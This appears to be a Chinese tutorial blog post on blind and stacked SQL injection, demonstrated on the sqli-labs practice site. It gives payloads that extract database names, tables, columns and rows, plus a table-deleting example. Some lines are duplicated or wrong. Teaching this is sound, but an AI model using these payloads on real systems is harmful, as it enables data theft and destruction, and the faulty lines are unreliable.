SQL注入之盲注与堆叠注入

盲注

所谓盲注就是在服务器没有错误回显的时候完成的注入攻击。

服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”

盲注分类:

  1. 布尔盲注
    1. •页面有回显,但是不会显示具体的内容
    2. •只会根据传参信息返回true和false
  2. 时间盲注
    1. •传参任何东西返回结果都一样
    2. •页面返回值只有一种,true,无论输入任何值,返回情况都会按照正常的进行处理
    3. 加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否正确

常用函数

length() 函数 返回字符串的长度

substr() 截取字符串 
   substr(str,m,n)   m 从第m个字符开始截取       n 截取后字符串长度为n

concat() 字符串拼接函数

ascii() 返回字符的ascii码   [将字符变为数字]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

在这里插入图片描述

sqli-labs靶场:

less-8布尔盲注关卡

less-9 时间盲注

靶场演示

布尔盲注

判断是否存在注入点  无报错信息,单引号闭合
substr()函数判断版本号
   http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1)=5 -- qwe
length()判断字符串长度
   http://127.0.0.1/sqli/Less-8/?id=1' and length(database())=8 -- qwe
数据库名长度为8,可进行猜单词,会不会是security,8个字母,使用 substr()、ascii()验证猜想
   http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- qwe
e单词对应的ascii码为101
   http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 -- qwe
依次类推

时间盲注

判断是否存在注入点   ‘ and sleep(5) -- qwe

探测if语句是否可以使用   ‘ and if(1=2,sleep(20),null) -- q

使用if语句判断版本号,‘ and if (length(substr(select 
version(),1,1))=5,null,sleep(5)) -- qwe

判断当前数据库名 ’ and if(ascii(substr(database(),1,1)) 
>97,null,sleep(5)) -- q

首字符为s   ’ and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q


堆叠注入

堆叠注入从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用

原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。
试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。


演示:

•if (expr1,expr2,expr3) :若expr1为true,则执行expr1,否则执行expr3

判断数据库库名长度:1;select if (length(database())>1,sleep(5),1)

•**判断数据库库名:**1;select if(substr(database(),1,1)=‘t’,sleep(5),1)

判断表名**😗*1;select if (substr((select table_name from information_schema.tables where table_schema=‘database()’ limit 0,1),1,1)=‘p’,sleep(5),1)

•**判断字段名:**1;select if (substr((select column_name from information_schema.columns where table_schema=‘database()’ and table_name=‘users’ limit 0,1),1,1)=‘i’,sleep(5),1)

•**判断内容:**1;select if (substr((select username from test.users limit 0,1),1,1)=‘z’,sleep(5),1)
(select table_name from information_schema.tables where >table_schema=‘database()’ limit 0,1),1,1)=‘p’,sleep(5),1)

•**判断字段名:**1;select if (substr((select column_name from information_schema.columns where table_schema=‘database()’ and table_name=‘users’ limit 0,1),1,1)=‘i’,sleep(5),1)

•**判断内容:**1;select if (substr((select username from test.users limit 0,1),1,1)=‘z’,sleep(5),1)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值